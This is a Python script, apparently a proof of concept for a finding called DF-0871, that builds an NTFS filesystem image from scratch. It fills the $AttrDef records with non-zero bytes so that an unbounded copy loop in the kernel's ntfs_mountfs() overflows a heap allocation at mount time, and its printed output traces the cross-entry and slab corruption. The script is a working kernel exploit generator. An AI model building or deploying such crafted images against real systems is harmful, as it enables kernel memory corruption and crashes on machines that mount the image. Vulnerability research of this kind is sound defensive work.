#!/usr/bin/env python3
"""
DF-0871 NTFS image crafter.

Builds a minimal, mountable NTFS filesystem image from scratch (no mkntfs /
ntfs-3g needed) and poisons the $AttrDef (MFT record 4) $DATA stream so that
its 160-byte attrdef records have:

  * ad_name[0..63]  : all wchars NON-ZERO  (no NUL terminator in the 64-wchar
                      name field), and
  * the trailing 32 B (ad_type / reserved1 / ad_flag / ad_minlen / ad_maxlen)
                    : all NON-ZERO half-words

This defeats the terminator of the unbounded wchar->char do/while in
ntfs_mountfs() (sys/vfs/ntfs/ntfs_vfsops.c:458-460):

    j = 0;                                          // :457
    do {
        ntmp->ntm_ad[i].ad_name[j] = ad.ad_name[j]; // :459   dest is char[0x40]=64
    } while(ad.ad_name[j++]);                       // :460   NO bound on j

Because no wchar in the whole 160-byte source struct is zero, j runs 0..80+
before the walk hits a zero on the stack.  The destination writes past the
72-byte ntvattrdef[i]:

    j=64..71 -> ntvattrdef[i].ad_namelen / ad_type (within object; repaired by
                the post-loop assignments at :461-462)
    j=72..   -> ntvattrdef[i+1].ad_name[0..]        (CROSS-ENTRY heap OOB write),
               or, for the last entry, past the whole kmalloc() -> heap OOB into
               the M_NTFSMNT slab zone.

The overflow is deterministic in the harness; on the live GENERIC
(INVARIANTS-ON) kernel the cross-allocation write may or may not panic
immediately depending on slab layout, but the corruption is real.

This builder is a sibling of DF-0785's craft_img.py; the root directory here
is deliberately WELL-FORMED (ir_size == va_datalen) so only the DF-0871
mount-time $AttrDef bug is exercised.

Geometry (standard NTFS): bps=512, spc=8 (4096-byte cluster),
mftrecsz=0xF6 => MFT record = 2 sectors = 1024 bytes.

Usage:
    craft_img.py [out.img] [num_evil]
    default: out.img ntfs_evil.img, num_evil=2
"""

import struct
import sys

# ---- geometry ----
BPS         = 512
SPC         = 8
CLU         = BPS * SPC            # 4096
MFTRECSZ    = 0xF6                 # -10 => 2**10 = 1024
RECSZ       = 1024
NCLUSTERS   = 128                  # 512 KB volume
MFTCN       = 2
UPCASE_CN   = 34
UPCASE_NCLU = 32                   # 131072 B = 65536 * sizeof(wchar)

FILE_MAGIC  = 0x454C4946           # "FILE"
FIXUP_OFF   = 0x30
FIXUP_VAL   = 0xA001

A_STD, A_NAME, A_DATA, A_INDXROOT = 0x10, 0x30, 0x80, 0x90
NTFS_ATTRDEFINO = 4


def le16(v): return struct.pack("<H", v & 0xFFFF)
def le32(v): return struct.pack("<I", v & 0xFFFFFFFF)
def le64(v): return struct.pack("<Q", v & 0xFFFFFFFFFFFFFFFF)


def boot_sector():
    b = bytearray(BPS)
    b[0:3]   = b"\xEB\x52\x90"
    b[3:11]  = b"NTFS    "
    struct.pack_into("<H", b, 11, BPS)
    b[13]    = SPC
    b[21]    = 0xF8
    struct.pack_into("<H", b, 24, 32)
    struct.pack_into("<H", b, 26, 2)
    struct.pack_into("<Q", b, 40, NCLUSTERS * SPC)
    struct.pack_into("<Q", b, 48, MFTCN)
    struct.pack_into("<Q", b, 56, 64)
    b[64]    = MFTRECSZ
    struct.pack_into("<I", b, 65, 4096)
    struct.pack_into("<I", b, 69, 0xDEADBEEF)
    return bytes(b)


def resident_attr(atype, datalen, data, name="", reclen_pad=8):
    wname = name.encode("utf-16-le") if name else b""
    namelen = len(name)
    nameoff = 0x18
    dataoff = nameoff + len(wname)
    reclen  = dataoff + datalen
    reclen  = (reclen + reclen_pad - 1) & ~(reclen_pad - 1)
    buf = bytearray(reclen)
    struct.pack_into("<I", buf, 0, atype)
    struct.pack_into("<I", buf, 4, reclen)
    buf[8]  = 0
    buf[9]  = namelen
    buf[10] = nameoff & 0xFF
    buf[11] = 0
    buf[12] = 0
    buf[13] = 0
    struct.pack_into("<H", buf, 14, 0)
    struct.pack_into("<H", buf, 16, datalen)
    struct.pack_into("<H", buf, 18, 0)
    struct.pack_into("<H", buf, 20, dataoff)
    struct.pack_into("<H", buf, 22, 0)
    buf[nameoff:dataoff] = wname
    buf[dataoff:dataoff + len(data)] = data[:datalen]
    return bytes(buf)


def nonresident_data_attr(runs_bytes, allocated, datalen):
    dataoff = 0x40
    reclen = dataoff + len(runs_bytes)
    reclen = (reclen + 7) & ~7
    buf = bytearray(reclen)
    struct.pack_into("<I", buf, 0, A_DATA)
    struct.pack_into("<I", buf, 4, reclen)
    buf[8]  = 0x01
    buf[9]  = 0
    buf[10] = dataoff & 0xFF
    struct.pack_into("<Q", buf, 16, 0)
    ncu = datalen // CLU
    struct.pack_into("<Q", buf, 24, ncu - 1)
    struct.pack_into("<H", buf, 32, dataoff)
    struct.pack_into("<H", buf, 34, 0)
    struct.pack_into("<I", buf, 36, 0)
    struct.pack_into("<Q", buf, 40, allocated)
    struct.pack_into("<Q", buf, 48, datalen)
    struct.pack_into("<Q", buf, 56, datalen)
    buf[dataoff:dataoff + len(runs_bytes)] = runs_bytes
    return bytes(buf)


def term_attr():
    b = bytearray(8)
    struct.pack_into("<I", b, 0, 0xFFFFFFFF)
    return bytes(b)


def mft_record(seqnum, nlink, flags, attrs_bytes):
    rec = bytearray(RECSZ)
    struct.pack_into("<I", rec, 0, FILE_MAGIC)
    struct.pack_into("<H", rec, 4, FIXUP_OFF)
    struct.pack_into("<H", rec, 6, RECSZ // BPS + 1)
    struct.pack_into("<H", rec, 16, seqnum)
    struct.pack_into("<H", rec, 18, nlink)
    attroff = 0x38
    struct.pack_into("<H", rec, 20, attroff)
    struct.pack_into("<H", rec, 22, flags)
    used = attroff + len(attrs_bytes)
    struct.pack_into("<I", rec, 24, used)
    struct.pack_into("<I", rec, 28, RECSZ)
    struct.pack_into("<Q", rec, 32, 0)
    struct.pack_into("<H", rec, 40, 0)
    struct.pack_into("<HHH", rec, FIXUP_OFF, FIXUP_VAL, FIXUP_VAL, FIXUP_VAL)
    rec[attroff:attroff + len(attrs_bytes)] = attrs_bytes
    struct.pack_into("<H", rec, BPS - 2, FIXUP_VAL)
    struct.pack_into("<H", rec, RECSZ - 2, FIXUP_VAL)
    return bytes(rec)


# ---- DF-0871: the EVIL $AttrDef data ----
ATTRDEF_RECSZ = 160              # sizeof(struct attrdef) on disk
NAME_WCHARS   = 64               # NTFS_ATTRNAME_MAXLEN

def evil_attrdef_records(num_evil):
    """`num_evil` 160-byte records whose ENTIRE 160 bytes are non-zero
    half-words (so the do/while at ntfs_vfsops.c:458-460 never sees a NUL wchar
    within the source struct), followed by one all-zero terminator record so
    the count loop (:432-441) stops.  We give each evil entry a recognisable
    name prefix so the kernel log / dumped bytes are identifiable."""
    out = bytearray()
    for n in range(num_evil):
        e = bytearray(ATTRDEF_RECSZ)
        # ad_name[0..63]: 64 non-zero wchars.  First chars spell a tag.
        tag = "EVIL%02d" % n            # 6 chars, rest filled with 'A'
        for i in range(NAME_WCHARS):
            ch = ord(tag[i]) if i < len(tag) else ord('A')
            struct.pack_into("<H", e, i * 2, ch | 0x4100)   # non-zero wchar
        # trailing 32 B (ad_type, reserved1[2], ad_flag, ad_minlen, ad_maxlen)
        # all non-zero so the walk keeps going through j=64..79
        struct.pack_into("<I", e, 128, 0xFFFFFFFF)   # ad_type
        struct.pack_into("<I", e, 132, 0xFFFFFFFF)   # reserved1[0]
        struct.pack_into("<I", e, 136, 0xFFFFFFFF)   # reserved1[1]
        struct.pack_into("<I", e, 140, 0xFFFFFFFF)   # ad_flag
        struct.pack_into("<Q", e, 144, 0xFFFFFFFFFFFFFFFF)  # ad_minlen
        struct.pack_into("<Q", e, 152, 0xFFFFFFFFFFFFFFFF)  # ad_maxlen
        out += e
    out += bytearray(ATTRDEF_RECSZ)                  # all-zero terminator
    return bytes(out)


def well_formed_index_root():
    """A minimal, well-formed resident $INDEX_ROOT for the root dir.
    ir_size == datalen so DF-0785's lookup overflow is NOT triggered; this
    isolates the DF-0871 mount-time $AttrDef bug.  Contains a single "." entry
    + LAST marker so any directory walk terminates cleanly."""
    datalen = 0x40          # 64 bytes of index data (small, well-formed)
    hdr = bytearray(32)
    struct.pack_into("<I", hdr, 0, 0x30)         # ir_unkn1
    struct.pack_into("<I", hdr, 4, 0x01)         # ir_unkn2
    struct.pack_into("<I", hdr, 8, datalen)      # ir_size == datalen (WELL-FORMED)
    struct.pack_into("<I", hdr, 12, 1)           # ir_unkn3
    struct.pack_into("<I", hdr, 16, 0x10)        # ir_unkn4
    struct.pack_into("<I", hdr, 20, datalen - 32)
    struct.pack_into("<I", hdr, 24, datalen - 32)
    struct.pack_into("<H", hdr, 28, 0x01)
    struct.pack_into("<H", hdr, 30, 0x00)
    entry = bytearray(datalen - 32)
    struct.pack_into("<I", entry, 16, 0x00000002)   # NTFS_IEFLAG_LAST
    struct.pack_into("<H", entry, 8, len(entry))
    return bytes(hdr) + bytes(entry)


def upcase_table():
    return b"".join(struct.pack("<H", i) for i in range(65536))


def runs_encode(cluster, length):
    return bytes([0x11, length & 0xFF, cluster & 0x7F, 0x00])


def build(out_path, num_evil):
    img = bytearray(NCLUSTERS * CLU)
    img[0:BPS] = boot_sector()

    # --- MFT record 0: $MFT ---
    rec0 = mft_record(1, 1, 0,
                      resident_attr(A_DATA, 8, b"\x00" * 8) + term_attr())
    off = MFTCN * CLU + 0 * RECSZ
    img[off:off + RECSZ] = rec0

    # --- MFT record 4: $AttrDef  (BUG TARGET) ---
    ad = evil_attrdef_records(num_evil)
    rec4 = mft_record(1, 1, 0,
                      resident_attr(A_DATA, len(ad), ad) + term_attr())
    off = MFTCN * CLU + 4 * RECSZ
    img[off:off + RECSZ] = rec4

    # --- MFT record 5: root dir (WELL-FORMED) ---
    iroot = well_formed_index_root()
    idxroot_attr = resident_attr(A_INDXROOT, len(iroot), iroot, name="$I30")
    NTFS_FRFLAG_DIR = 0x0002
    rec5 = mft_record(1, 1, NTFS_FRFLAG_DIR, idxroot_attr + term_attr())
    off = MFTCN * CLU + 5 * RECSZ
    img[off:off + RECSZ] = rec5

    # --- MFT record 6: $Bitmap ---
    bmp = b"\xFF" * 16
    rec6 = mft_record(1, 1, 0,
                      resident_attr(A_DATA, len(bmp), bmp) + term_attr())
    off = MFTCN * CLU + 6 * RECSZ
    img[off:off + RECSZ] = rec6

    # --- MFT record 10: $UpCase (non-resident 128 KB) ---
    runs = runs_encode(UPCASE_CN, UPCASE_NCLU)
    nr = nonresident_data_attr(runs, UPCASE_NCLU * CLU, UPCASE_NCLU * CLU)
    rec10 = mft_record(1, 1, 0, nr + term_attr())
    off = MFTCN * CLU + 10 * RECSZ
    img[off:off + RECSZ] = rec10

    uo = UPCASE_CN * CLU
    img[uo:uo + UPCASE_NCLU * CLU] = upcase_table()

    with open(out_path, "wb") as f:
        f.write(img)

    print(f"[+] wrote {out_path} ({len(img)} bytes)")
    print(f"[+] geometry: bps={BPS} spc={SPC} cluster={CLU} "
          f"mftrecsz=0x{MFTRECSZ:02X} mftrec={RECSZ} mftcn={MFTCN}")
    print(f"[+] $AttrDef: {num_evil} evil 160-B record(s) + 1 zero terminator")
    print(f"[+]   -> count loop counts num={num_evil} entries")
    print(f"[+]   -> kmalloc(num*72 = {num_evil*72} B) for ntvattrdef array")
    print(f"[+]   -> each entry's do/while walks j=0..80+ (no NUL wchar in source)")
    print(f"[+]   -> writes at j=72.. leave the 72-byte object => HEAP OOB")
    if num_evil >= 2:
        print(f"[+]   -> entry[0] overflow corrupts entry[1].ad_name[0..] "
              f"(cross-entry); entry[{num_evil-1}] overflow crosses the "
              f"{num_evil*72}-B allocation into the M_NTFSMNT slab zone")


if __name__ == "__main__":
    out = sys.argv[1] if len(sys.argv) > 1 else "ntfs_evil.img"
    ne  = int(sys.argv[2]) if len(sys.argv) > 2 else 2
    build(out, ne)